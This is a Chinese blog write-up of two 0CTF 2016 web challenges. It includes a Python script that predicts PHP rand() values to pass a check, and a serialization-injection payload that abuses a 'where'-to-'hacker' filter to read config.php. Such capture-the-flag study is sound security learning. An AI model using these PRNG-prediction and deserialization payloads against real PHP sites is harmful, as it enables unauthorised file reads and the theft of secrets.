0CTF

web

Posted by dogewatch on March 14, 2016

“菜如狗”

前言

16年第一场CTF,被老外虐成渣渣,惨惨惨惨惨。。。


RAND

先上题目代码:

<?php
include('config.php');

session_start();

if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
    session_destroy();
    die('timeout');
} else {
    $_SESSION['time'] = time();
}

echo rand();
if (isset($_GET['go'])) {
    $_SESSION['rand'] = array();
    $i = 5;
    $d = '';
    while($i--){
        $r = (string)rand();
        $_SESSION['rand'][] = $r;
        $d .= $r;
    }
    echo md5($d);
    //var_dump($_SESSION['rand']);
} else if (isset($_GET['check'])) {
    //var_dump($_GET['check']);
    echo "\n";
    if ($_GET['check'] === $_SESSION['rand']) {
        echo $flag;
    } else {
        die('die');
        session_destroy();
    }
} else {
    show_source(__FILE__);
}

这题真是逼了狗了,各种爆破rand种子,但是就是死活过不了md5的校验。 于是怀疑爆破得到的种子并不是真正的种子,而是恰巧rand值碰上了而已。无奈之下到处翻资料发现在linux下php的rand函数值序列有着这样的一个规律:

rand[i] = (rand[i-3] + rand[i-31]) % 2^31

瞬间涨姿势了有木有,于是写脚本爆破之:

import requests

while True:
    r = requests.session()
    l = []
    for i in range(50):
        response = r.get('http://127.0.0.1/test.php')
        l.append(int(response.content[:response.content.find('<')]))

    response = r.get('http://127.0.0.1/test.php?go')
    l.append(int(response.content[:-32]))

    url = 'http://127.0.0.1/test.php?'
    for i in range(5):
        end = len(l)

        randnum = (l[end - 3] + l[end - 31]) % 2 **31
        l.append(randnum)

        url += 'check[]={}&'.format(randnum)

    response = r.get(url)
    if 'die' not in response.content:
        print response.content
        break

得到flag:0ctf{randisawesomebutdangerous}


piapiapia

这题是道审计题,苦读代码无数遍后并没有发现什么漏洞,各种过滤都很完善,上传的文件也被md5重命名,无法执行。这时队里的pei大腿出场了, 发现在profile.php里显示图片是用的这样的代码:

$photo = base64_encode(file_get_contents($profile['photo']));
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">

这意味着我们如果能控制$profile的话就能实现任意文件读取。继续看代码:

$profile = unserialize($profile);

说明$profile是经历了序列化与反序列化操作,此时并没有抱多少希望。继续看update.php中序列化操作的代码:

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

可以看到$profile序列化后的内容被扔进了update_profile函数进行处理,继续跟踪进class.php查看update_profile函数,发现了这么一个地方:

public function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);

	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}

咋一看这个函数,一个标准的sql注入过滤函数,过滤的反斜线和单引号,同时把一些危险的字符串例如‘select’等做了替换。 这么看没什么问题,但是如果了解序列化的机制的话,就会发现其中隐含的漏洞点。 ‘select’、‘insert’、‘update’、‘delete’、‘where’这5个字符串,均会被替换为‘hacker’。前4个字符串为6个字符,而‘where’为5个字符,‘hacker’为6个字符。这意味着只有字符串中存在‘where’时会发生长度的改变。而list在被序列化成字符串时,其每一部分的长度均以例如‘s:5’的形式被固定在了字符串中,在反序列化时会按照这个值去还原数组。 举个例子,$a = array(‘where’)序列化后的字符串为‘a:1{i:0;s:5:”where”;}’,这串字符串在经过过滤函数替换操作后变成了‘a:1{i:0;s:5:”hacher”;}’,这会导致在反序列化时‘hacker’的最后一个字母‘r’读不到,从而导致出错。 于是我们可以利用这点,构造一定量的‘where’字符加上序列化控制符号覆盖掉其后的字符串,使得反序列化后的值为我们所控。 同时我们发现nickname变量的过滤代码如下:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
	die('Invalid nickname');

如果nickname为数组即可绕过过滤,结合序列化的漏洞,我们就可以控制其后的photo变量,做到任意文件读取。 payload如下:

nickname[0] = 'wherewherewherewherewherewherewherewherewherewherewhere";i:1;s:26:'
nickname[1] = '333";i:2;s:1:"1";}s:5:"photo";s:10:"config.php";}a:1{s:12:'

将其post过去后成功读取config.php里的flag:0ctf{fa717b49649fbb9c0dd0d1663469a871}


后记

两天就这么两道题,真是深深滴感觉自己菜,在从腿毛挂件进化成大腿的路上任重道远啊。